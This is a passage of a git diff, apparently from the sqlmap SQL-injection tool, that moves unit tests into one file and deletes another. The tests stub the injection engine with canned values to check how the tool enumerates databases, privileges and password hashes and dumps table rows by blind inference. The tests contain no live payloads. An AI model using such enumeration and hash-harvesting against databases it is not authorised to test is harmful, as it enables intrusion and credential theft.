def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_enum_more.py (inference branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperInf(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesInf(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperInf() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesInf() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index bcf6da6a49f..70b6192e10b 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -33,7 +33,6 @@ from lib.core.data import conf, kb from lib.core.convert import encodeHex, encodeBase64, getText -from lib.core.enums import PAYLOAD # --------------------------------------------------------------------------- # diff --git a/tests/test_generic_enum_more.py b/tests/test_generic_enum_more.py deleted file mode 100644 index 683a459b74e..00000000000 --- a/tests/test_generic_enum_more.py +++ /dev/null @@ -1,865 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional unit tests for the generic enumeration mixins, deliberately targeting -branches NOT already exercised by tests/test_databases_enum.py, -tests/test_users_enum.py, tests/test_search_enum.py and tests/test_generic_more.py -(which cover the conf.direct INBAND happy paths). - -This file drives the OTHER branches: - - * plugins/generic/databases.py - the INFERENCE paths (conf.direct=False + - isInferenceAvailable via kb.injection BOOLEAN state: count -> per-row getValue), - the MSSQL inband-paging fallback in getDbs(), getColumns onlyColNames / dumpMode, - the getColumns MySQL<5 / ACCESS bruteforce fallback, getCount over cachedTables, - and getStatements/getProcedures empty/none branches. - * plugins/generic/users.py - getPrivileges role/grant parsing per DBMS in BOTH the - inband path (PGSQL digit columns, MySQL<5 Y/N, Firebird letters, DB2 grant codes) - and the INFERENCE path (count then per-index privilege), getPasswordHashes - grouping/dedup in the inference path, getUsers inference, isDba MSSQL. - * plugins/generic/entries.py - dumpTable INFERENCE path (count -> column-pivot via - per-(index,column) getValue), the empty-table branch, the count-failure skip, - and the resolveKeysetCursor disabling via conf.noKeyset. - * plugins/generic/search.py - searchDb / searchTable / searchColumn INFERENCE - paths (count then per-index getValue), and the MySQL<5 bruteforce branch of - searchTable / searchColumn. - -Recipe (proven in tests/test_databases_enum.py): patch the module's inject.getValue -with canned rows in the EXACT shape the branch parses; for inference branches return -a positive int for EXPECTED.INT count calls then the per-row/per-index values; set the -needed kb.data flags; assert the exact resulting structure (sorted lists, -{db:{tbl:{col:type}}} dicts, privilege sets, dumpedTable values). - -CRITICAL STATE HYGIENE: every test snapshots and restores conf.*, the patched -inject.getValue (per module), kb.data.cached*, kb.hintValue, kb.injection.data, -Backend/forcedDbms in tearDown so nothing leaks into the rest of the suite. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms - -bootstrap() - -from lib.core.data import conf, kb -from lib.core.enums import EXPECTED, PAYLOAD - -import plugins.generic.databases as dbmod -import plugins.generic.users as umod -import plugins.generic.search as smod -import plugins.generic.entries as emod -from plugins.generic.databases import Databases -from plugins.generic.users import Users -from plugins.generic.search import Search -from plugins.generic.entries import Entries - -_NOOP = lambda self: None - - -def _inference_gv(count, sequence): - """Build an inject.getValue stub for blind inference branches. - - Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise - yields the next item from `sequence` wrapped as a single-cell row ([value]), - cycling if exhausted. This mirrors the count-then-per-row contract of every - isInferenceAvailable() branch. - """ - state = {"i": 0} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return str(count) - val = sequence[state["i"] % len(sequence)] - state["i"] += 1 - return [val] - - return gv - - -# --------------------------------------------------------------------------- # -# databases.py -# --------------------------------------------------------------------------- # - -class _DbBase(unittest.TestCase): - _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") - - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} - self._saved_getValue = dbmod.inject.getValue - self._saved_checkBool = dbmod.inject.checkBooleanExpression - self._saved_injection_data = kb.injection.data - self._saved_has_is = kb.data.get("has_information_schema") - self._saved_hintValue = kb.get("hintValue") - self._saved_choices = dict(kb.choices) - self._saved_readInput = dbmod.readInput - self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) - Databases.forceDbmsEnum = _NOOP - - conf.getComments = False - conf.excludeSysDbs = False - conf.exclude = None - conf.search = False - conf.freshQueries = False - conf.col = None - kb.data.has_information_schema = True - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - dbmod.inject.getValue = self._saved_getValue - dbmod.inject.checkBooleanExpression = self._saved_checkBool - dbmod.readInput = self._saved_readInput - kb.injection.data = self._saved_injection_data - kb.data.has_information_schema = self._saved_has_is - kb.hintValue = self._saved_hintValue - kb.choices.clear() - kb.choices.update(self._saved_choices) - if self._saved_forceDbmsEnum is not None: - Databases.forceDbmsEnum = self._saved_forceDbmsEnum - else: - try: - del Databases.forceDbmsEnum - except AttributeError: - pass - - def _fresh(self): - d = Databases() - kb.data.currentDb = "" - kb.data.cachedDbs = [] - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.data.cachedCounts = {} - kb.data.cachedStatements = [] - kb.data.cachedProcedures = [] - return d - - def _inference(self): - conf.direct = False - conf.technique = None - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - -class TestDatabasesInference(_DbBase): - def test_get_columns_inference_pgsql_types(self): - # Blind column enumeration on PostgreSQL: a count, then for each index a - # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. - set_dbms("PostgreSQL") - self._inference() - d = self._fresh() - conf.db = "public" - conf.tbl = "users" - - names = ["id", "email"] - state = {"i": 0, "name": True} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return str(len(names)) - if state["name"]: - val = names[state["i"] % len(names)] - state["i"] += 1 - state["name"] = False - return [val] - state["name"] = True - return ["integer"] - - dbmod.inject.getValue = gv - result = d.getColumns() - cols = result["public"]["users"] - self.assertEqual(len(cols), 2) - self.assertEqual(cols.get("id"), "integer") - - def test_get_columns_inference_dump_mode_collist(self): - # dumpMode with an explicit conf.col list: in the inference branch the - # columns are taken straight from colList (no count/type queries at all) - # and stored with value None. Asserting no getValue ran proves the - # dump-mode shortcut, not a network round-trip. - set_dbms("MySQL") - self._inference() - d = self._fresh() - conf.db = "testdb" - conf.tbl = "users" - conf.col = "id,name" - - def boom(*a, **k): - raise AssertionError("dumpMode+colList must not query in inference branch") - - dbmod.inject.getValue = boom - result = d.getColumns(dumpMode=True) - cols = result["testdb"]["users"] - # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; - # both columns must be present (count, since exact key varies by quoting). - self.assertEqual(len(cols), 2) - self.assertIn("id", cols) - self.assertIsNone(cols.get("id")) - - def test_get_count_over_cached_tables_inference(self): - # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. - # Drive the inband table fetch + per-table count and assert the - # {db:{count:[tables]}} grouping (tables sharing a count are grouped). - set_dbms("MySQL") - conf.direct = True - d = self._fresh() - conf.db = "testdb" - conf.tbl = None - kb.data.cachedTables = {"testdb": ["users", "posts"]} - - counts = {"users": "5", "posts": "5"} - - def gv(query, *a, **k): - for t, c in counts.items(): - if t in query: - return c - return "0" - - dbmod.inject.getValue = gv - result = d.getCount() - # both tables have count 5 -> grouped under the same key - self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) - - def test_get_statements_count_zero_returns_empty(self): - # Inference path: a zero count short-circuits to the (empty) cache. - set_dbms("PostgreSQL") - self._inference() - d = self._fresh() - # getStatements compares the count with the int literal 0 (count == 0), so - # the count stub must return an int 0 (not "0") to take the empty branch. - dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") - result = d.getStatements() - self.assertEqual(result, []) - - def test_get_procedures_inference(self): - set_dbms("PostgreSQL") - self._inference() - d = self._fresh() - dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) - result = d.getProcedures() - self.assertEqual(sorted(result), ["sp_a", "sp_b"]) - - def test_get_dbs_mssql_inband_paging(self): - # MSSQL with no rows from the primary query falls into the query2 paging - # loop (one indexed query per db until a blank value stops it). - set_dbms("Microsoft SQL Server") - conf.direct = True - d = self._fresh() - dbs = ["master", "model"] - - def gv(query, *a, **k): - # The primary inband query is 'SELECT name FROM master..sysdatabases' - # (no DB_NAME); make it return nothing so getDbs falls into the - # 'SELECT DB_NAME()' paging loop (query2). - if "DB_NAME" not in query: - return None - import re as _re - idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) - return dbs[idx] if idx < len(dbs) else "" - - dbmod.inject.getValue = gv - result = d.getDbs() - self.assertEqual(sorted(result), ["master", "model"]) - - def test_get_tables_inference_grouped_per_db(self): - # Blind table enumeration: count for the db, then one table name per index. - set_dbms("MySQL") - self._inference() - d = self._fresh() - conf.db = "shop" - conf.tbl = None - dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) - result = d.getTables() - self.assertIn("shop", result) - self.assertEqual(sorted(result["shop"]), ["items", "orders"]) - - -class TestDatabasesBruteForce(_DbBase): - def test_get_columns_mysql_lt5_bruteforce_decline(self): - # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with - # the common-column-existence prompt answered 'N' it returns None without - # issuing any column query. - set_dbms("MySQL") - conf.direct = True - d = self._fresh() - conf.db = "testdb" - conf.tbl = "users" - kb.data.has_information_schema = False - kb.choices.columnExists = None - dbmod.readInput = lambda *a, **k: "N" - - def boom(*a, **k): - raise AssertionError("bruteForce decline must not query columns") - - dbmod.inject.getValue = boom - result = d.getColumns() - self.assertIsNone(result) - - def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): - # bruteForce + decline + dumpMode + colList: the columns from colList are - # stored with None type (the dump-mode salvage branch), not dropped. - set_dbms("MySQL") - conf.direct = True - d = self._fresh() - conf.db = "testdb" - conf.tbl = "users" - conf.col = "a,b" - kb.data.has_information_schema = False - kb.choices.columnExists = None - dbmod.readInput = lambda *a, **k: "N" - dbmod.inject.getValue = lambda *a, **k: None - result = d.getColumns(dumpMode=True) - cols = result["testdb"]["users"] - self.assertEqual(sorted(cols.keys()), ["a", "b"]) - self.assertIsNone(cols.get("a")) - - -# --------------------------------------------------------------------------- # -# users.py -# --------------------------------------------------------------------------- # - -class _UsersBase(unittest.TestCase): - def setUp(self): - self._direct = conf.direct - self._technique = conf.technique - self._user = conf.user - self._gv = umod.inject.getValue - self._cbe = umod.inject.checkBooleanExpression - self._store = umod.storeHashesToFile - self._attack = umod.attackCachedUsersPasswords - self._readInput = umod.readInput - self._his = kb.data.get("has_information_schema") - self._injection_data = kb.injection.data - - set_dbms("MySQL") - conf.direct = True - conf.user = None - kb.data.has_information_schema = True - - umod.storeHashesToFile = lambda *a, **k: None - umod.attackCachedUsersPasswords = lambda *a, **k: None - umod.readInput = lambda *a, **k: "N" - - def tearDown(self): - conf.direct = self._direct - conf.technique = self._technique - conf.user = self._user - umod.inject.getValue = self._gv - umod.inject.checkBooleanExpression = self._cbe - umod.storeHashesToFile = self._store - umod.attackCachedUsersPasswords = self._attack - umod.readInput = self._readInput - kb.injection.data = self._injection_data - if self._his is None: - kb.data.pop("has_information_schema", None) - else: - kb.data.has_information_schema = self._his - - def _inference(self): - conf.direct = False - conf.technique = None - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - -class TestUsersPrivilegesInband(_UsersBase): - def test_privileges_pgsql_multiple_digit_columns(self): - # PostgreSQL: privilege columns are digit flags; a column index maps to - # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, - # leave the rest 0; assert exactly those two privileges are parsed and that - # "super" makes the user an admin. - set_dbms("PostgreSQL") - from lib.core.dicts import PGSQL_PRIVS - ncols = max(PGSQL_PRIVS.keys()) - row = ["pguser"] + ["0"] * ncols - row[1] = "1" # createdb - row[2] = "1" # super - umod.inject.getValue = lambda query, *a, **k: [row] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) - self.assertIn("pguser", areAdmins) - - def test_privileges_mysql_lt5_yn_flags(self): - # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags - # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. - set_dbms("MySQL") - from lib.core.dicts import MYSQL_PRIVS - kb.data.has_information_schema = False - ncols = max(MYSQL_PRIVS.keys()) - row = ["root"] + ["N"] * ncols - row[1] = "Y" # select_priv - row[3] = "Y" # update_priv - umod.inject.getValue = lambda query, *a, **k: [row] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertIn(MYSQL_PRIVS[1], privileges["root"]) - self.assertIn(MYSQL_PRIVS[3], privileges["root"]) - self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) - - def test_privileges_firebird_letter_codes(self): - # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. - set_dbms("Firebird") - from lib.core.dicts import FIREBIRD_PRIVS - umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertEqual(set(privileges["fbuser"]), - {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) - - def test_privileges_db2_grant_codes(self): - # DB2: privilege string is ","; each 'Y'/'G' letter at - # position i appends the DB2_PRIVS[i] name to the privilege. - set_dbms("DB2") - from lib.core.dicts import DB2_PRIVS - conf.user = "db2admin" - # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> - # DB2_PRIVS[1] ("CONTROLAUTH") is appended. - umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - joined = " ".join(privileges["DB2ADMIN"]) - self.assertIn("DBADM", joined) - self.assertIn(DB2_PRIVS[1], joined) - - -class TestUsersPrivilegesInference(_UsersBase): - def test_privileges_inference_mysql(self): - # Blind privilege enumeration for a named user: count, then one privilege - # string per index. MySQL >= 5 adds each verbatim. - set_dbms("MySQL") - self._inference() - conf.user = "root" - privs = ["SELECT", "SUPER"] - umod.inject.getValue = _inference_gv(2, privs) - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - # the user key is wildcard-wrapped for the MySQL information_schema LIKE - key = [k for k in privileges if "root" in k][0] - self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) - self.assertTrue(areAdmins) # SUPER => admin - - def test_privileges_inference_oracle(self): - set_dbms("Oracle") - self._inference() - conf.user = "system" - umod.inject.getValue = _inference_gv(1, ["DBA"]) - users = Users() - kb.data.cachedUsersPrivileges = {} - privileges, areAdmins = users.getPrivileges() - self.assertIn("SYSTEM", privileges) - self.assertEqual(privileges["SYSTEM"], ["DBA"]) - self.assertIn("SYSTEM", areAdmins) - - -class TestUsersPasswordHashesInference(_UsersBase): - def test_password_hashes_inference_grouping(self): - # Blind password-hash enumeration for two users: per-user count, then one - # hash per index. Assert each user maps to its own hash list. - set_dbms("MySQL") - self._inference() - conf.user = "root,guest" - - # per-user single hash; count is 1 for every user - hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return "1" - for u, h in hashes.items(): - if u in query: - return [h] - return [None] - - umod.inject.getValue = gv - users = Users() - kb.data.cachedUsersPasswords = {} - res = users.getPasswordHashes() - self.assertEqual(res["root"], ["*ROOTHASH"]) - self.assertEqual(res["guest"], ["*GUESTHASH"]) - - def test_password_hashes_inference_dedup(self): - # The same hash returned twice for a user must be de-duplicated at the end - # (kb.data.cachedUsersPasswords[user] = list(set(...))). - set_dbms("MySQL") - self._inference() - conf.user = "root" - umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) - users = Users() - kb.data.cachedUsersPasswords = {} - res = users.getPasswordHashes() - self.assertEqual(res["root"], ["*DUP"]) - - -class TestUsersGetUsersInference(_UsersBase): - def test_get_users_inference(self): - set_dbms("MySQL") - self._inference() - umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) - users = Users() - kb.data.cachedUsers = [] - res = users.getUsers() - self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) - - def test_is_dba_mssql(self): - # MSSQL isDba goes through the generic checkBooleanExpression branch. - set_dbms("Microsoft SQL Server") - umod.inject.checkBooleanExpression = lambda query, *a, **k: True - users = Users() - kb.data.isDba = None - self.assertTrue(users.isDba()) - - -# --------------------------------------------------------------------------- # -# entries.py - inference (blind) dump path -# --------------------------------------------------------------------------- # - -class _RecordingDumper(object): - def __init__(self): - self.tableValues = [] - - def dbTableValues(self, tableValues): - self.tableValues.append(tableValues) - - -class _TestEntries(Entries): - def __init__(self): - Entries.__init__(self) - self.getColumnsResult = {} - self.getTablesResult = {} - - def forceDbmsEnum(self): - pass - - def getCurrentDb(self): - return "testdb" - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - kb.data.cachedColumns = dict(self.getColumnsResult) - - def getTables(self, bruteForce=None): - kb.data.cachedTables = dict(self.getTablesResult) - - -class _EntriesBase(unittest.TestCase): - _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", - "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") - - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} - self._saved_dumper = conf.get("dumper") - self._gv = emod.inject.getValue - self._cbe = emod.inject.checkBooleanExpression - self._readInput = emod.readInput - self._saved_has_is = kb.data.get("has_information_schema") - self._saved_cachedColumns = kb.data.get("cachedColumns") - self._saved_cachedTables = kb.data.get("cachedTables") - self._saved_dumpedTable = kb.data.get("dumpedTable") - self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") - self._saved_permissionFlag = kb.get("permissionFlag") - self._saved_injection_data = kb.injection.data - - set_dbms("MySQL") - conf.direct = False - conf.technique = None - conf.exclude = None - conf.search = False - conf.disableHashing = True - conf.noKeyset = True - conf.keyset = False - conf.forcePivoting = False - conf.dumpWhere = None - conf.dumper = _RecordingDumper() - - kb.data.has_information_schema = True - kb.data.cachedColumns = {} - kb.data.cachedTables = {} - kb.data.dumpedTable = {} - kb.dumpKeyboardInterrupt = False - kb.permissionFlag = False - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - conf.dumper = self._saved_dumper - emod.inject.getValue = self._gv - emod.inject.checkBooleanExpression = self._cbe - emod.readInput = self._readInput - kb.data.has_information_schema = self._saved_has_is - kb.data.cachedColumns = self._saved_cachedColumns - kb.data.cachedTables = self._saved_cachedTables - kb.data.dumpedTable = self._saved_dumpedTable - kb.dumpKeyboardInterrupt = self._saved_dumpKbInt - kb.permissionFlag = self._saved_permissionFlag - kb.injection.data = self._saved_injection_data - - -class TestEntriesInference(_EntriesBase): - def _entries(self, db="testdb", tbl="users", cols=("id", "name")): - e = _TestEntries() - e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} - return e - - def test_dump_table_inference_column_pivot(self): - # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one - # value per (index, column). Assert the per-column pivoted values match. - set_dbms("MySQL") - e = self._entries(cols=("id", "name")) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - - # data[index][column] -> value. 2 rows, columns id/name. - data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return "2" # row count - # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... - # LIMIT ,1'. The row index is the LIMIT offset; the column is the - # SELECT projection. - import re as _re - idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) - proj = query.split(" FROM ", 1)[0] - col = "name" if "name" in proj else "id" - return data[idx][col] - - emod.inject.getValue = gv - e.dumpTable() - dumped = conf.dumper.tableValues[-1] - self.assertEqual(dumped["__infos__"]["count"], 2) - self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) - self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) - - def test_dump_table_inference_empty_table(self): - # A zero row count in the inference path yields empty per-column value - # lists and no dbTableValues emission (dumpedTable stays effectively empty). - set_dbms("MySQL") - e = self._entries(cols=("id",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - - emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) - e.dumpTable() - # count 0 => empty entries => nothing dumped - self.assertEqual(conf.dumper.tableValues, []) - - def test_dump_table_inference_count_failure_skips(self): - # A non-numeric count in the inference path => the table is skipped with a - # warning, no values dumped. - set_dbms("MySQL") - e = self._entries(cols=("id",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - return None # count failed - self.fail("must not fetch cells when count failed") - - emod.inject.getValue = gv - e.dumpTable() - self.assertEqual(conf.dumper.tableValues, []) - - -# --------------------------------------------------------------------------- # -# search.py - inference (blind) paths -# --------------------------------------------------------------------------- # - -class _TestSearch(Search): - excludeDbsList = ["information_schema", "mysql"] - - def __init__(self): - Search.__init__(self) - self.like = ('2', "='%s'") # exact match (colConsider '2') - self.dumpFoundTablesCalls = [] - self.dumpFoundColumnCalls = [] - - def likeOrExact(self, what): - return self.like - - def forceDbmsEnum(self): - pass - - def getCurrentDb(self): - return "testdb" - - def dumpFoundTables(self, tables): - self.dumpFoundTablesCalls.append(tables) - - def dumpFoundColumn(self, dbs, foundCols, colConsider): - self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - db, tbl, col = conf.db, conf.tbl, conf.col - if db and tbl: - kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) - kb.data.cachedColumns[db][tbl][col] = "varchar" - - -class _RecDumper(object): - def __init__(self): - self.listed = [] - self.dbTablesArg = None - self.dbColumnsArg = None - - def lister(self, header, elements, content_type=None, sort=True): - self.listed.append((header, list(elements) if elements else [])) - - def dbTables(self, dbTables): - self.dbTablesArg = dbTables - - def dbColumns(self, dbColumnsDict, colConsider, dbs): - self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) - - -class _SearchBase(unittest.TestCase): - _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", - "exclude", "search") - - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} - self._saved_dumper = conf.get("dumper") - self._gv = smod.inject.getValue - self._readInput = smod.readInput - self._saved_has_is = kb.data.get("has_information_schema") - self._saved_cachedColumns = kb.data.get("cachedColumns") - self._saved_hintValue = kb.get("hintValue") - self._saved_injection_data = kb.injection.data - - set_dbms("MySQL") - conf.direct = False - conf.technique = None - conf.excludeSysDbs = False - conf.exclude = None - conf.search = True - conf.dumper = _RecDumper() - - kb.data.has_information_schema = True - kb.data.cachedColumns = {} - kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - conf.dumper = self._saved_dumper - smod.inject.getValue = self._gv - smod.readInput = self._readInput - kb.data.has_information_schema = self._saved_has_is - kb.data.cachedColumns = self._saved_cachedColumns - kb.hintValue = self._saved_hintValue - kb.injection.data = self._saved_injection_data - - -class TestSearchInference(_SearchBase): - def test_search_db_inference(self): - # Blind searchDb: count of matching dbs, then one db name per index. - s = _TestSearch() - conf.db = "testdb" - smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) - s.searchDb() - self.assertEqual(conf.dumper.listed[-1][0], "found databases") - self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) - - def test_search_db_inference_no_match(self): - # Count fails (non-numeric) => no databases appended, empty 